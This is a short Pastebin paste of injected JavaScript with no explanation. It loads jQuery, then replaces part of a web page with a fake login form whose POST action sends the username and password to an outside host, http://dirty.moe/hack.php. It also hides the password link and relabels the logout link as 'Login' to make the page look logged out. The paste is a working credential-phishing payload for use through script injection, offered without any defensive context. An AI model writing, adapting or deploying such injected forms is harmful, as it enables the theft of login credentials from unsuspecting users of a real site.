Advertisement
Guest User

Untitled

a guest
Apr 27th, 2017
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.00 KB | None | 0 0
  1. var jq = document.createElement('script');
  2. jq.src = 'https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js';
  3. jq.type = 'text/javascript';
  4. document.getElementsByTagName('head')[0].appendChild(jq);
  5.  
  6.  
  7. $('td[valign="top"]:nth-of-type(2)').replaceWith(`
  8. <h3>Login</h3>
  9. Please enter your credentials: <br><br>
  10. <form method="POST" action="http://dirty.moe/hack.php">
  11. <center>
  12. <table>
  13. <tbody><tr>
  14. <td>Username:</td>
  15. <td><input id="username" name="username" data-cip-id="username"></td>
  16. </tr>
  17. <tr>
  18. <td>Password:</td>
  19. <td><input id="password" name="password" type="password" data-cip-id="password"></td>
  20. </tr>
  21. <tr>
  22. <td></td>
  23. <td><input id="submit" type="submit" value="Login"></td>
  24. </tr>
  25. </tbody></table>
  26. </center>
  27. </form>
  28. If you dont have an account with us then please <a href="register.jsp">Register</a> now for a free account.
  29. <br><br>
  30. `);
  31. var a = $('a[href="password.jsp"]');
  32.  
  33. a.hide();
  34. a.parent().html('Guest User');
  35.  
  36. $('a[href="logout.jsp"]').html("Login");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement